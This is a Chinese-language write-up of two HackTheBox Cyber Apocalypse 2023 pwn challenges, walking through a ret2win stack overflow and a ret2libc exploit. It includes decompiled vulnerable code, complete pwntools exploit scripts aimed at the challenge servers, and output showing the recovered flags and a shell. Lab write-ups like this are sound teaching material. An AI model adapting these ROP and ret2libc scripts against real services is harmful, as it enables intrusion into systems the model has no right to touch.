前言

ROP(Return-Oriented Programming),通常建立在栈溢出(stack overflow)的基础上,将栈上的数据覆盖为指向代码段中的一系列指令的地址,然后通过执行这些指令来控制程序的执行流程,ROP 的基本原理是,利用程序中已有的一些代码片段,比如函数调用、返回指令等,来构造一些可控制的代码片段,然后通过一系列的跳转指令将它们组合起来,形成一个完整的攻击代码。没错,它就像拼图一样,找齐我们需要的拼图,然后pwn掉它吧!

HTB-CA2023—PWN pwn_labyrinth 基本ROP

程序分析

来自这次比赛的一道PWN题,老样子,先让我们看看它开启了什么保护:

1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: Full RELRO //不能覆盖GOT
Stack: No canary found //没有栈堆保护
NX: NX enabled //栈堆无法执行
PIE: No PIE (0x400000) //address不变
RUNPATH: b'./glibc/'

一个64位的程序,开启了以上的保护。

而我们在主程序里找到了一个栈溢出漏洞:

1
2
3
4
char v4[8]; // [rsp+0h] [rbp-30h] BYREF
...
fgets(v4, 68, stdin);
...

v4在栈上的地址为0x30,而fgets()却读取了68个字节。我们可以好好利用这个栈溢出漏洞来实现ROP。

而在程序中,我们又发现了一个很有意思的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int escape_plan()
{
char buf; // [rsp+Bh] [rbp-5h] BYREF
int fd; // [rsp+Ch] [rbp-4h]

putchar(10);
fwrite(&unk_402018, 1uLL, 0x1F0uLL, _bss_start);
fprintf(
_bss_start,
"\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey: %s\n",
"\x1B[1;32m",
"\x1B[0m");
fd = open("./flag.txt", 0);
if ( fd < 0 )
{
perror("\nError opening flag.txt, please contact an Administrator.\n\n");
exit(1);
}
while ( read(fd, &buf, 1uLL) > 0 )
fputc(buf, _bss_start);
return close(fd);
}

现在我们有了一个栈溢出漏洞,还有一个可以直接get flag的func(),那么我们还缺少一个ret的address。我们可以通过 ROPgadget 来找到它。

1
0x0000000000401016 : ret

编写Payload

到这里,我们已经凑齐拼图了,我们现在只需要把栈给填满,然后传入我们的ret地址,最后再加上我们要跳转的函数地址,就可以执行我们需要执行的函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#p = process('./labyrinth')
p = remote('104.248.169.177','31597')

padding = b'A' * (0x30+8)
ret_addr = 0x0000000000401016
escape_plan = 0x401255

payload = padding + p64(ret_addr) + p64(escape_plan)

p.sendlineafter(b'>>','69')
p.sendlineafter(b'>>',payload)
p.interactive()

成功逃出生天。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python pwn_lab.py
[+] Opening connection to 104.248.169.177 on port 31597: Done
/home/yui/Desktop/pwn_lab.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'>>','69')
[*] Switching to interactive mode

[-] YOU FAILED TO ESCAPE!


\O/
|
/ \
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒-▸ ▒ ▒ ▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▲△▲△▲△▲△▲△▒

Congratulations on escaping! Here is a sacred spell to help you continue your journey:
HTB{3sc4p3_fr0m_4b0v3}
[*] Got EOF while reading in interactive

HTB-CA2023—PWN pwn_pandoras_box ret2libc

程序分析

一个经典的ret2libc,老样子,先分析程序开启的安全保护:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'

然后让我们对程序内部反汇编分析,我们可以看到程序内的main函数中运行的box()中有一个很明显的栈溢出漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( v7 != 2 )
{
fprintf(_bss_start, "%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n", "\x1B[1;31m");
exit(1312);
}
fwrite("\nInsert location of the library: ", 1uLL, 0x21uLL, _bss_start);
fgets(s, 256, stdin);
return fwrite(
"\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",
1uLL,
0x4BuLL,
_bss_start);
}

fgets(s, 256, stdin) 读取了256个字节

char s[8]; // [rsp+0h] [rbp-30h] BYREF

但是我们审计了其他函数的代码,没有发现可以利用的函数,而且整个程序中没有system()函数和”/bin/sh”的字段值。但是整个程序的文件构造是:

1
2
3
4
5
├── pwn_pandoras_box
│ ├── pb
│ └── glibc
│ ├── ld-linux-x86-64.so.2
│ └── libc.so.6

程序给我们提供了libc,我们可以使用libc内的**system()**和 “/bin/sh” get到shell。但在这之前,我们得先泄露libc的地址。

也就是说我们需要运行两次box()函数,第一次运行是为了泄露libc的基址,第二次就可以使用libc里面的**system()**和 **”/bin/sh”**来get shell。

1.栈覆盖:两次我们都需要先传入0x30 + 8 个字节的无用数据,其中8个字节的数据是为了覆盖掉rbp。
2.泄露libc:利用got和plt来找出libc函数的地址,再使用这个函数的地址来计算出libc的基址,这里我们选择puts()。

编写Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
#p = process('./pb')
p = remote('144.126.196.198',30070)
libc = ELF('./glibc/libc.so.6')
elf = ELF('./pb')



pop_rdi = 0x40142b
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
box_addr = 0x004012c2

payload = b'A' * (0x30+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(box_addr)
p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'Insert location of the library:')
p.sendline(payload)
p.recvuntil(b'We will deliver the mythical box to the Library for analysis, thank you!\n\n')
puts_leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
log.info(f"LIBC BASE: {libc_base:#x}")


system = libc.symbols['system'] + libc_base
binsh = 0x001d8698 + libc_base
ret = 0x0000000000401016

p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'Insert location of the library:')

payload = b'A' * (0x30+8) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[+] Opening connection to 144.126.196.198 on port 30070: Done
[*] '/home/yui/Desktop/glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/yui/Desktop/pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] LIBC BASE: 0x7f86e9faa000
[*] Switching to interactive mode

We will deliver the mythical box to the Library for analysis, thank you!

$ ls
flag.txt
glibc
pb
$ cat flag.txt
HTB{r3turn_2_P4nd0r4?!}